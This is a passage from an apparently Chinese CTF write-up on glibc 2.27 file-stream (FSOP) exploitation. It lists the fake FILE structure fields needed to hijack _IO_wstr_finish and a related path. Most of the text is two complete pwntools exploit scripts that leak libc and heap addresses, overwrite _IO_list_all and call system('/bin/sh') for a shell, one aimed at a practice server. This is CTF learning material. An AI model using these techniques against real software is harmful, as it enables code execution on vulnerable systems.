  • new_size*sizeof(wchar_t)=4*(2*old_wblen+100)=8*(fp->_wide_data->_IO_buf_end - fp->_wide_data->_IO_buf_base)+400,即_IO_buf_end - _IO_buf_base=(binsh_addr-400)/8
    (为了方便让fp->_wide_data指向fp+0x8,则fp->_IO_buf_base与fp->_wide_data->_IO_buf_base指向同一处)

注意:上述条件为理论部分,可能是libc小版本对应源码有出入,实际上在libc2.27-1.0中根据汇编,为了让new_size指向/bin/sh,应布置_IO_buf_end - _IO_buf_base=(binsh)/2-200

综上所述,再加上之前提到的从_IO_flush_all_lockp进入目标函数的条件,fake file结构体需要满足条件如下

1
2
3
4
5
6
7
8
9
10
11
_flags = 0
_flags2= 0

_IO_write_base= 0
_IO_write_ptr = 0x7fffffff
_IO_buf_end = binsh_addr/2-200
_IO_buf_base = 0

mode = -1

fp+0xe0 = system

同样在之后的libc会直接使用malloc申请空间,方法失效

exp3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = remote('node4.buuoj.cn',26623)
# r = process(["./ld-2.27.so", "./tmp"], env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.27.so')


def add(sz, ct):
r.sendlineafter('Five: Finished!', str(1))
r.sendlineafter('Number of words?', str(sz))
r.sendafter('please input U character', ct)

def edit(idx, ct):
r.sendlineafter('Five: Finished!', str(2))
r.sendlineafter('please input the page U want 2 change', str(idx))
r.sendafter('Now Change U this page : ', ct)

def delete(idx):
r.sendlineafter('Five: Finished!', str(3))
r.sendlineafter('please Input the page U want 2 tear off', str(idx))

def show(idx):
r.sendlineafter('Five: Finished!', str(4))
r.sendlineafter('please Input The page U want 2 scan', str(idx))

r.recv()
r.sendline('ayoung')

add(0x5f8, 'A'*0x5f8) #0
add(0x5f8, 'A'*0x5f8) #1
add(0x5f8, 'A'*0x5f8) #2
add(0x5f8, 'A'*0x5f8) #3
add(0x5f8, 'A'*0x5f8) #4
add(0x5f8, 'A'*0x5f8) #5
add(0x5f8, 'A'*0x5f8) #6
add(0x5f8, 'A'*0x5f8) #7
add(0x5f8, 'A'*0x5f8) #8

delete(0)
add(0x600, '\x00') #9
add(0x5f8, 'A'*8) #10
show(10)
libc.address = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00')-1232-0x10-libc.sym['__malloc_hook']

delete(10)
add(0x600, '\x00') #11
add(0x5f8, 'A'*0x10) #12=0
show(12)
r.recvuntil('A'*0x10)
heap_base = u64(r.recv(6)+'\x00\x00')-0x1250
print hex(heap_base)
print hex(libc.address)

delete(12)
edit(6, 'B'*0x5f0+p64(0x2a00))
delete(7)

add(0x4f8, '\xa0') #13
add(0x6f8, '\x00') #14
add(0x4f8, '\x00') #15
add(0x6f8, '\x00') #16
add(0x4f8, '\x00') #17
add(0x6f8, '\x00') #18
add(0x4f8, '\xa0') #19
add(0x6f8, '\x00') #20
add(0x508, '\x00') #21
add(0x5f8, '\x00') #22
add(0x4f8, '\x00') #23
add(0x430, '\x00') #24

delete(11)
edit(21, 'A'*0x500+p64(0xb20))
delete(22)

add(0x608, '\x00') #25
add(0x508, '\x00') #26
add(0x5f8, '\x00') #27

delete(15) #=2
add(0x700, '\x00') #28
delete(21)

edit(2, p64(libc.sym['__malloc_hook']+0x10+1168)*2+ \
p64(0)+p64(libc.sym['_IO_list_all']-0x20)+'\n')
add(0x700, '\x00'*0x700) #29

binsh = heap_base+0x5558
pay = ''
pay+= p64(0)*3
pay+= p64(0x7fffffffffffffff)
pay+= p64(0)
pay+= p64(0)
# pay+= p64(0x3ffffbfffb5c)
pay+= p64((binsh)/2-200)
pay+= p64(0)*6
pay+= p64(0)*5
pay+= p64(heap_base+0x5478)
pay+= p64(0)*3
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e7b20)
pay+= p64(libc.sym['system'])
pay+= '/bin/sh\x00'
edit(25, '\x00'*0x608)
edit(26, pay+'\n')

'''
_flags = 0
_flags2= 0

_IO_write_base= 0
_IO_write_ptr = 0x7fffffff
_IO_buf_end = binsh_addr/2-200
_IO_buf_base = 0

mode = -1

fp+0xe0 = system
'''

r.recv()
r.sendline('5')

# list: 0x555555558080
# szie: 0x5555555583a0

r.interactive()

思路4 _IO_wstr_finish

_IO_wstr_finish

1
2
3
4
5
6
7
8
9
void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;

_IO_wdefault_finish (fp, 0);
}

利用处

1
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);

假设fp->_wide_data指向fp+0x8

1
2
3
4
5
6
7
8
9
_IO_buf_base>0
_flags2=0
fp->_s._free_buffer(fp+0xe8) = system
_IO_buf_base = binsh
mode = -1
_IO_write_ptr = 1
_IO_write_base = 0

vtable = _IO_wstr_jumps-8

exp4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
# r = remote('node4.buuoj.cn',28387)
r = process(["./ld-2.27.so", "./tmp"], env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.27.so')


def add(sz, ct):
r.sendlineafter('Five: Finished!', str(1))
r.sendlineafter('Number of words?', str(sz))
r.sendafter('please input U character', ct)

def edit(idx, ct):
r.sendlineafter('Five: Finished!', str(2))
r.sendlineafter('please input the page U want 2 change', str(idx))
r.sendafter('Now Change U this page : ', ct)

def delete(idx):
r.sendlineafter('Five: Finished!', str(3))
r.sendlineafter('please Input the page U want 2 tear off', str(idx))

def show(idx):
r.sendlineafter('Five: Finished!', str(4))
r.sendlineafter('please Input The page U want 2 scan', str(idx))

r.recv()
r.sendline('ayoung')

add(0x5f8, 'A'*0x5f8) #0
add(0x5f8, 'A'*0x5f8) #1
add(0x5f8, 'A'*0x5f8) #2
add(0x5f8, 'A'*0x5f8) #3
add(0x5f8, 'A'*0x5f8) #4
add(0x5f8, 'A'*0x5f8) #5
add(0x5f8, 'A'*0x5f8) #6
add(0x5f8, 'A'*0x5f8) #7
add(0x5f8, 'A'*0x5f8) #8

delete(0)
add(0x600, '\x00') #9
add(0x5f8, 'A'*8) #10
show(10)
libc.address = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00')-1232-0x10-libc.sym['__malloc_hook']

delete(10)
add(0x600, '\x00') #11
add(0x5f8, 'A'*0x10) #12=0
show(12)
r.recvuntil('A'*0x10)
heap_base = u64(r.recv(6)+'\x00\x00')-0x1250
print hex(heap_base)
print hex(libc.address)

delete(12)
edit(6, 'B'*0x5f0+p64(0x2a00))
delete(7)

add(0x4f8, '\xa0') #13
add(0x6f8, '\x00') #14
add(0x4f8, '\x00') #15
add(0x6f8, '\x00') #16
add(0x4f8, '\x00') #17
add(0x6f8, '\x00') #18
add(0x4f8, '\xa0') #19
add(0x6f8, '\x00') #20
add(0x508, '\x00') #21
add(0x5f8, '\x00') #22
add(0x4f8, '\x00') #23
add(0x430, '\x00') #24

delete(11)
edit(21, 'A'*0x500+p64(0xb20))
delete(22)

add(0x608, '\x00') #25
add(0x508, '\x00') #26
add(0x5f8, '\x00') #27

delete(15) #=2
add(0x700, '\x00') #28
delete(21)

edit(2, p64(libc.sym['__malloc_hook']+0x10+1168)*2+ \
p64(0)+p64(libc.sym['_IO_list_all']-0x20)+'\n')
add(0x700, '\x00'*0x700) #29

pay = ''
pay+= p64(0)*3
pay+= p64(1)
pay+= p64(0)
pay+= p64(libc.search('/bin/sh').next())
pay+= p64(0)
pay+= p64(0)*6
pay+= p64(0)*5
pay+= p64(heap_base+0x5478)
pay+= p64(0)*3
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e7b20-8)
pay+= p64(0 )
pay+= p64(libc.sym['system'])
edit(25, '\x00'*0x608)
edit(26, pay+'\n')

print (hex(heap_base))
'''
_IO_buf_base>0
_flags2=0
fp->_s._free_buffer(fp+0xe8) = system
_IO_buf_base = binsh
mode = -1
_IO_write_ptr = 1
_IO_write_base = 0

vtable = _IO_wstr_jumps-8
'''

r.recv()
r.sendline('5')

# list: 0x555555558080
# szie: 0x5555555583a0

r.interactive()

官方法

使用house of pig